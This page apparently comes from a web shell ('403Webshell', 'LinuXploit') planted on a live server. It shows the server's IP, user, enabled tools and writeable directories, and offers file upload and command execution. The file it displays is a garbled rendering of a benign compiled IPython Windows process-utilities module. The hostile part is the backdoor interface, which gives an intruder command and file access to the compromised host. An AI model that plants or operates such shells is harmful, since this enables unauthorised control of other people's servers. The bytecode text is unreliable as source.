403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/_process_win32.cpython-311.pyc
�

�@�c����dZddlZddlZddlZddlZddlmZmZddlmZm	Z	ddl
mZmZddl
mZddlmZmZmZdd	lmZdd
lmZGd�de��Zd
�Zd�Zd�Z	ejjjZeee��ge_ ee��e_!ejj"j#Z#e	e#_$e	ge#_ dd�Zn
#e%$reZYnwxYwd�Z&dS)zWindows-specific implementation of process utilities.

This file is only meant to be imported by process.py, not by end-users.
�N)�c_int�POINTER)�LPCWSTR�HLOCAL)�STDOUT�TimeoutExpired)�Thread�)�read_no_interrupt�process_handler�	arg_split)�	py3compat)�DEFAULT_ENCODINGc��eZdZdZd�Zd�ZdS)�AvoidUNCPatha�A context manager to protect command execution from UNC paths.

    In the Win32 API, commands can't be invoked with the cwd being a UNC path.
    This context manager temporarily changes directory to the 'C:' drive on
    entering, and restores the original working directory on exit.

    The context manager returns the starting working directory *if* it made a
    change and None otherwise, so that users can apply the necessary adjustment
    to their system calls in the event of a change.

    Examples
    --------
    ::
        cmd = 'dir'
        with AvoidUNCPath() as path:
            if path is not None:
                cmd = '"pushd %s &&"%s' % (path, cmd)
            os.system(cmd)
    c��tj��|_|j�d��|_|jrtjd��|jSdS)Nz\\zC:)�os�getcwd�path�
startswith�is_unc_path�chdir)�selfs �>/usr/lib/python3/dist-packages/IPython/utils/_process_win32.py�	__enter__zAvoidUNCPath.__enter__9sN���I�K�K��	��9�/�/��6�6�����	��H�T�N�N�N��9���4�c�J�|jrtj|j��dSdS)N)rrrr)r�exc_type�	exc_value�	tracebacks    r�__exit__zAvoidUNCPath.__exit__Es/����	 ��H�T�Y������	 �	 rN)�__name__�
__module__�__qualname__�__doc__rr!�rrrr%s<��������&
�
�
� � � � � rrc����t���fd�}��fd�}t|������t|������	����}|�t	jd��n|S�.)zCallback for _system.c���t�j�����D]3}|��d��}t	|t
j����4dS�N�replace)�file)r�stdout�
splitlines�decode�print�sys��line�enc�ps ��r�stdout_readz!_system_body.<locals>.stdout_readN�]���%�a�h�/�/�:�:�<�<�	)�	)�D��;�;�s�I�.�.�D��$�S�Z�(�(�(�(�(�	)�	)rc���t�j�����D]3}|��d��}t	|t
j����4dSr))r�stderrr-r.r/r0r1s ��r�stderr_readz!_system_body.<locals>.stderr_readSr6r)�targetTNg{�G�z�?)rr	�start�poll�time�sleep)r4r5r9�resultr3s`   @r�_system_bodyr@Js�����
�C�)�)�)�)�)�)�
)�)�)�)�)�)�
�+����$�$�&�&�&�
�+����$�$�&�&�&�
��������>��J�t������M�rc��t��5}|�d|�d|��}t|t��cddd��S#1swxYwYdS)a7Win32 version of os.system() that works with network shares.

    Note that this implementation returns None, as meant for use in IPython.

    Parameters
    ----------
    cmd : str or list
        A command to be executed in the system shell.

    Returns
    -------
    int : child process' exit code.
    N�"pushd � &&")rrr@)�cmdrs  r�systemrEfs���&
���2�4����'+�t�t�S�S�1�C��s�L�1�1�2�2�2�2�2�2�2�2�2�2�2�2����2�2�2�2�2�2s
�;�?�?c��t��5}|�d|�d|��}t|d�t��}ddd��n#1swxYwY|�d}tj|��S)z�Return standard output of executing cmd in a shell.

    Accepts the same arguments as os.system().

    Parameters
    ----------
    cmd : str or list
        A command to be executed in the system shell.

    Returns
    -------
    stdout : str
    NrBrCc�6�|���dS)Nr)�communicate)r4s r�<lambda>zgetoutput.<locals>.<lambda>�s��Q�]�]�_�_�Q�-?�rr)rrrrr.)rDr�outs   r�	getoutputrK~s���
���I�4����'+�t�t�S�S�1�C��c�#?�#?��H�H��I�I�I�I�I�I�I�I�I�I�I����I�I�I�I�
�{�����C� � � s�"=�A�AFTc��|���dkrgS|st|||���St��}tt	j|�����tj|����}t|j
z}d�|�tj|j
����D��}t|��}|S)a4Split a command line's arguments in a shell-like manner.

        This is a special version for windows that use a ctypes call to CommandLineToArgvW
        to do the argv splitting. The posix parameter is ignored.

        If strict=False, process_common.arg_split(...strict=False) is used instead.
        �)�posix�strictc��g|]}|��Sr&r&)�.0�args  r�
<listcomp>zarg_split.<locals>.<listcomp>�s��k�k�k�#�#�k�k�kr)�strip�py_arg_splitr�CommandLineToArgvWr�cast_unicode�lstrip�ctypes�byrefr�value�from_address�	addressof�contents�	LocalFree)�commandlinerNrO�argvn�result_pointer�result_array_typer?�retvals        rr
r
�s��������"�$�$��I��	I���5��H�H�H�H�����+�I�,B�;�CU�CU�CW�CW�,X�,X�Z`�Zf�gl�Zm�Zm�n�n��#�e�k�1��k�k�!2�!?�!?��@P�Q_�Qh�@i�@i�!j�!j�k�k�k���>�*�*���
rc�h�ttjj�dd|����S)Nr
r)�boolrY�windll�kernel32�OpenProcess)�pids r�	check_pidrk�s)����
�&�2�2�1�Q�s�;�;�<�<�<r)FT)'r%rr0rYr=rr�ctypes.wintypesrr�
subprocessrr�	threadingr	�_process_commonrrr
rUrMr�encodingr�objectrr@rErKrg�shell32rV�	arg_types�restyperhr_�res_type�AttributeErrorrkr&rr�<module>rws�����"
�	�	�	�
�
�
�
�
�
�
�
�����!�!�!�!�!�!�!�!�+�+�+�+�+�+�+�+�-�-�-�-�-�-�-�-�������[�Z�Z�Z�Z�Z�Z�Z�Z�Z�������&�&�&�&�&�&�" �" �" �" �" �6�" �" �" �J���82�2�2�0!�!�!�0���.�A��$+�W�W�U�^�^�#<�� �!(���!1�!1����
�&�0�I��I��!�(�I��������(�����I�I�I�����=�=�=�=�=s�AB7�7C�C

Youez - 2016 - github.com/yon3zu
LinuXploit